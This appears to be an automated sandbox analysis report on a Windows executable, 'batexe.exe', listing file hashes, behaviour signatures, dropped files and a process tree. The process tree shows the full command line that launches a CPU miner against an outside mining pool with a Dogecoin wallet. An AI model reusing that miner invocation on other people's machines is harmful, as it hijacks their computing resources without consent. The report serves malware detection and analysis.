Analysis

  • max time kernel
    293s
  • max time network
    300s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    18-02-2024 09:00

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5936
    • C:\Users\Admin\AppData\Local\Temp\5E4C.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\5E4C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5E4C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3572
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\612B.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4224
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:3620

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\5E4C.tmp\b2e.exe

    Filesize

    20.2MB

    MD5

    e133dca345cbc937b663a11dcc617b93

    SHA1

    1ca4a236f6e0941ddc68799070dc8fe305110c26

    SHA256

    c3163a960799fd49c76cd590ef7ee0c19ef2261fffab6b4c69801af38cb54d9e

    SHA512

    18c6d435061da1a75f38af1d75583913ea51da7c1ea7544453471b2e1b64d31e373465785fe92803710affb77292462849afa5de275fc18c3d8704eb1497ab60

  • C:\Users\Admin\AppData\Local\Temp\5E4C.tmp\b2e.exe

    Filesize

    10.0MB

    MD5

    6864e1932f4324074d70a245d13b7824

    SHA1

    5ea829b416027ed3492a61ff3ba4df55a5b821e3

    SHA256

    95d097de6d838d9893ef4d5e3bfa39fcec5d8c18f31de801c353dd571f447165

    SHA512

    87239fec2ddfb85781852ea3d96acc530869531ee75dee30b19ed26fc3ed5a782040de8beda5752a3786783155ea7a89bb12e8b25e47b2145f97265fe7475ed4

  • C:\Users\Admin\AppData\Local\Temp\5E4C.tmp\b2e.exe

    Filesize

    10.4MB

    MD5

    5929d171cc47c7a01ccd62271995e93e

    SHA1

    1fb94fc146ee8a9332fa8f8c773ddb82e80d6324

    SHA256

    707571ce46b5463ed8137def28fcee839a8b18c2801e18b84fb7718631d7b162

    SHA512

    cd65a51cc1cd7279c6906dec6759cc9a03dd24f8375b8b4be113871c897e477f6f7c1090412a30ef1ee0b48badb5305b92ff6924731836cbec924eeb9eeecd3f

  • C:\Users\Admin\AppData\Local\Temp\612B.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    10.4MB

    MD5

    c02f08a1ab8d758d4df1d82059c0a813

    SHA1

    0f5227cdd177bd1560c4a41c5c558f4c065e5d70

    SHA256

    2ab3cc22e95ff836222d79776e184c674da28bcbd82e1065ec28e61b66d2cd5c

    SHA512

    7e4f519253bbbbe3e6ce3aeeeed31151cf97b6cfdc9c5a019f8091768ae3ae30258ce1fbe253f8bb8b1952123f76d0a5394f1a4f82e84d93821902228cb0e78d

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    8.8MB

    MD5

    fc98caafb5230eec7e0bcc4ee99e3aff

    SHA1

    e7a73fde42f129df3963dda7b02ec9a592326882

    SHA256

    abe4a1d8a012cc298e0a5c73da94e3e2d30482102b15d33367dec7adaf2aa561

    SHA512

    143b4997d32c9b36f9d3f7eb9855a6d431e8dfedce5bf72f0c56bcbd7046946ef462b565f15f53cb601e5a6658e3728864c17bb2d5af26d109ceccf378ef97b2

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    7.4MB

    MD5

    5fdc5b2d28d1e1848d0901475814a740

    SHA1

    450072f333b7af77d41c23f0a920475c79d7ad62

    SHA256

    ab33f002776f686ee21c620b9358e55ec24a3692fdcc517090ce9401bc781b94

    SHA512

    4a3ac5a2199e78a51210683585f42ea7753306a9010937cc8032761038b778687ee515bcefb4e17e493098ac89051fd9666adf160f75626242cd698ed6cbf7f4

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/3572-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3572-9-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3620-44-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/3620-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3620-45-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/3620-46-0x0000000054CD0000-0x0000000054D68000-memory.dmp

    Filesize

    608KB

  • memory/3620-47-0x0000000001120000-0x00000000029D5000-memory.dmp

    Filesize

    24.7MB

  • memory/3620-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3620-104-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3620-54-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3620-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3620-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3620-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3620-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3620-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3620-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3620-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3620-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5936-8-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB